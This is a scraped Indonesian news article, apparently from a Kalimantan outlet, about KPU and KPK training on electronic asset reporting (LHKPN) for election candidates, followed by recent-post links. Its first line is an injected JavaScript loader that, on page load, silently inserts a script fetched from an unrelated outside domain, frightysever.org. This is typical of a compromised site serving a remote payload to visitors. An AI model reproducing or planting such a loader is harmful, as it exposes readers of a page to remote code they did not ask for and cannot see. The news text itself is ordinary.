(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Pelantikan Calon Anggota Dewan Bisa Dibatalkan Jika Belum Laporkan LHKPN!


BANJARMASIN, Setiap calon pejabat wajib melaporkan harta kekayaannya. Kewajiban pelaporan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) ini juga bagi calon anggota DPR, DPRD provinsi, DPRD kabupaten/kota. Maka, Direktorat Pendaftaran dan Pemeriksa Laporan Harta Kekayaan Penyelenggara Negara (PP LHKPN) mengadakan kegiatan Bimbingan Teknis Tatacara Pelaporan LHKPN secara elektronik (e-LHKPN) dengan mengundang partai politik peserta pemilu di  Banjarmasin.

Ketua KPU Kalsel Edy Ariansyah mengatakan, kegiatan ini guna memberikan kemudahan bagi peserta pemilu dalam proses pelaporan LHKPN. “Nanti dari perwakilan ini bisa mentranformasikan kepada jajaran partai politik di tingkat bawah,” jelasnya.

Selain itu, kegiatan ini juga sebagai komitmen KPU Kalsel untuk bersama-sama mewujudkan penyelenggaraan negara dan penyelenggaran pemerintahan yang bersih dan bebas dari korupsi sesuai dengan ketentuan UU nomor 28 tahun 1999 pasal 5 tentang kewajiban bagi setiap penyelenggara negara sebelum atau setelah menjabat untuk melaporkan harta kekayaan.

“Dari ketentuan undang-undang tersebut dalam peraturan KPU nomor 20 tahun 2018 di pasal 37 ayat 1, bagi setiap calon, dalam hal setiap calon terpilih, wajib untuk melapor harta kekayaannya sebelum dilantik. Kalau misalnya calon tersebut tidak melaporkan sebelum dilantik, bisa dibatalkan” lanjutnya.

Dalam hal ini KPU bekerja sama dengan KPK bersama-sama memberikan bimbingan teknis kepada pengelola LHKPN partai politik dalam rangka mempermudah pemahaman dan pelaporan melalui e-registrasion dan e-fillin. Semua konten materi mengenai bimbingan teknis diberikan oleh KPK dan dalam hal ini KPU Kalsel membantu memfasilitasi tempat.

Para peserta yang hadir diwajibkan untuk membawa laptop yang dilengkapi dengan peramban Mozila Firefox atau Google Chrome serta modem sehingga bisa langsung mempraktekkan tata cara pelaporan yang diberikan dalam kegiatan.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

10 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

10 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

10 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

11 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

11 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

13 jam ago

This website uses cookies.